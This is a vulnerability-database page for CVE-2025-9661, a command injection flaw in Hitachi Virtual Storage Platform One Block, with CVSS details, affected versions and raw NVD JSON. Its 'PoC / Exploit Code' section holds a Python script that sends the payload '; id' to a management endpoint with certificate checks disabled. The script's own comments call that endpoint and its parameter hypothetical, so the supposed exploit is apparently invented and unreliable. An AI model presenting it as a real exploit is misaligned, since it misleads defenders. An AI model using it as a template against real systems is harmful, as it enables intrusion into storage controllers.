CVE-2025-9661

Description

OS command injection vulneravility in the management gui (maintenance utility) of Hitachi Virtual Storage Platform One Block 23, 24, 26 and 28. This issue affects Hitachi Virtual Storage Platform One Block 23/24/26/28: before DKCMAIN A3-04-21-40/00, ESM A3-04-21/00.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:hitachi:virtual_storage_one_block:23:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:hitachi:virtual_storage_one_block:24:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:hitachi:virtual_storage_one_block:26:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:hitachi:virtual_storage_one_block:28:*:*:*:*:*:*:* - VULNERABLE

Hitachi Virtual Storage Platform One Block 23 (DKCMAIN < A3-04-21-40/00)

Hitachi Virtual Storage Platform One Block 24 (DKCMAIN < A3-04-21-40/00)

Hitachi Virtual Storage Platform One Block 26 (DKCMAIN < A3-04-21-40/00)

Hitachi Virtual Storage Platform One Block 28 (DKCMAIN < A3-04-21-40/00)

ESM < A3-04-21/00

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Exploit Title: Hitachi Virtual Storage Platform One Block - OS Command Injection
# Date: 2025-05-07
# Exploit Author: Analyst
# Vendor Homepage: https://www.hitachi.com/
# Version: Before DKCMAIN A3-04-21-40/00, ESM A3-04-21/00
# CVE: CVE-2025-9661

def exploit(target_url):
    # Example payload to execute 'id' command
    payload = "; id"
    # Vulnerable endpoint in maintenance utility
    url = f"{target_url}/api/maintenance/utility"
    headers = {
        "User-Agent": "Mozilla/5.0",
        "Content-Type": "application/json"
    }
    # Hypothetical parameter vulnerable to injection
    data = {
        "command": "ping",
        "target": payload  # Injection point
    }
    
    try:
        response = requests.post(url, json=data, headers=headers, verify=False, timeout=10)
        print(f"[+] Request sent to {url}")
        print(f"[+] Status Code: {response.status_code}")
        print(f"[+] Response: {response.text}")
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    target = "https://<target-ip>"
    exploit(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-9661
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-9661
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-9661/
[4] VulDB https://vuldb.com/cve/CVE-2025-9661
[5] https://www.hitachi.com/products/it/storage-solutions/sec_info/2026/2026_309.html

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-9661", "sourceIdentifier": "[email protected]", "published": "2026-05-07T08:16:00.317", "lastModified": "2026-05-08T16:59:28.053", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OS command injection vulneravility in the management gui (maintenance utility) of Hitachi Virtual Storage Platform One Block 23, 24, 26 and 28.\n\nThis issue affects Hitachi Virtual Storage Platform One Block 23/24/26/28: before DKCMAIN A3-04-21-40/00, ESM A3-04-21/00."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hitachi:virtual_storage_one_block:23:*:*:*:*:*:*:*", "matchCriteriaId": "46788D83-153E-42CF-ACA5-09506AA45D54"}, {"vulnerable": true, "criteria": "cpe:2.3:a:hitachi:virtual_storage_one_block:24:*:*:*:*:*:*:*", "matchCriteriaId": "EC7E00FD-2148-457B-B91A-FDB575DF8DF7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:hitachi:virtual_storage_one_block:26:*:*:*:*:*:*:*", "matchCriteriaId": "04B799D3-FCF2-4832-8E5D-65D5BE53F47D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:hitachi:virtual_storage_one_block:28:*:*:*:*:*:*:*", "matchCriteriaId": "CC55432F-8451-4859-A01A-946C26A793C6"}]}]}], "references": [{"url": "https://www.hitachi.com/products/it/storage-solutions/sec_info/2026/2026_309.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}